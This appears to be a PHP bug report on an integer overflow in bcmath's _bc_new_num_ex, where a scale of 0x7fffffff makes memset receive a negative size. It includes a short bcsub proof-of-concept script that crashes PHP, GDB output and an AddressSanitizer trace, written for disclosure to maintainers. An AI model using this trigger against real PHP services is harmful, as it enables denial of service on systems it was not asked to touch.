Description:
------------
When scale parameter value in _bc_new_num_ex is large enough ( 0x7fffffff), memset function receive negative size parameter. 

Affected functions bcsub, bcadd 

----------------------------------------------
Source code:
https://github.com/php/php-src/blob/master/ext/bcmath/libbcmath/src/init.c#L47

bc_num
_bc_new_num_ex (length, scale, persistent)
     int length, scale, persistent;
{
...
  temp->n_ptr = (char *) safe_pemalloc (1, length, scale, persistent);
  if (temp->n_ptr == NULL) bc_out_of_memory();
  temp->n_value = temp->n_ptr;
  memset (temp->n_ptr, 0, length+scale);     # 1 + 0x7fffffff = -2147483648
  return temp;
}


GDB output:

gdb -q --args /home/operac/build4/bin/php -n poc.php
No symbol table is loaded.  Use the "file" command.
Breakpoint 1 (__asan_report_error) pending.
Reading symbols from /home/operac/build4/bin/php...done.
gdb-peda$ b _bc_new_num_ex
Breakpoint 2 at 0x7de0a0: _bc_new_num_ex. (4 locations)
gdb-peda$ r
...
Breakpoint 3, _bc_new_num_ex (length=length@entry=0x1, scale=scale@entry=0x7fffffff, persistent=persistent@entry=0x0)
    at /home/operac/build4/php-src/ext/bcmath/libbcmath/src/init.c:72
72	  memset (temp->n_ptr, 0, length+scale);
gdb-peda$ p length
$1 = 0x1
gdb-peda$ p scale
$2 = 0x7fffffff
gdb-peda$ p length+scale
$3 = 0x80000000
gdb-peda$ p/d length+scale
$4 = -2147483648
gdb-peda$ b memset
...
Breakpoint 3, 0x00007ffff6ef6d10 in memset () from /usr/lib/x86_64-linux-gnu/libasan.so.2
gdb-peda$ p/d $rdx
$6 = -2147483648
gdb-peda$ p $rdx
$7 = 0xffffffff80000000

Test script:
---------------
<?php

ini_set('memory_limit', -1);
error_reporting(0);

bcsub("1", "1", 0x7fffffff);

Expected result:
----------------
No crash

Actual result:
--------------
==12357==ERROR: AddressSanitizer: negative-size-param: (size=-2147483648)
    #0 0x7fce87d4dc69 in __asan_memset (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x8cc69)
    #1 0x7de3ef in memset /usr/include/x86_64-linux-gnu/bits/string3.h:90
    #2 0x7de3ef in _bc_new_num_ex /home/operac/build4/php-src/ext/bcmath/libbcmath/src/init.c:72
    #3 0x7e1f60 in bc_sub /home/operac/build4/php-src/ext/bcmath/libbcmath/src/sub.c:75
    #4 0x7d660e in zif_bcsub /home/operac/build4/php-src/ext/bcmath/bcmath.c:286
    #5 0x1d8a4d8 in ZEND_DO_ICALL_SPEC_HANDLER /home/operac/build4/php-src/Zend/zend_vm_execute.h:586
    #6 0x1b9eb6e in execute_ex /home/operac/build4/php-src/Zend/zend_vm_execute.h:414
    #7 0x1e4f956 in zend_execute /home/operac/build4/php-src/Zend/zend_vm_execute.h:458
    #8 0x199d4bc in zend_execute_scripts /home/operac/build4/php-src/Zend/zend.c:1427
    #9 0x17102a7 in php_execute_script /home/operac/build4/php-src/main/main.c:2494
    #10 0x1e579e2 in do_cli /home/operac/build4/php-src/sapi/cli/php_cli.c:974
    #11 0x46dfd4 in main /home/operac/build4/php-src/sapi/cli/php_cli.c:1344
    #12 0x7fce857a682f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #13 0x46e6a8 in _start (/home/operac/build4/bin/php+0x46e6a8)

AddressSanitizer can not describe address in more detail (wild memory access suspected).
SUMMARY: AddressSanitizer: negative-size-param ??:0 __asan_memset
==12357==ABORTING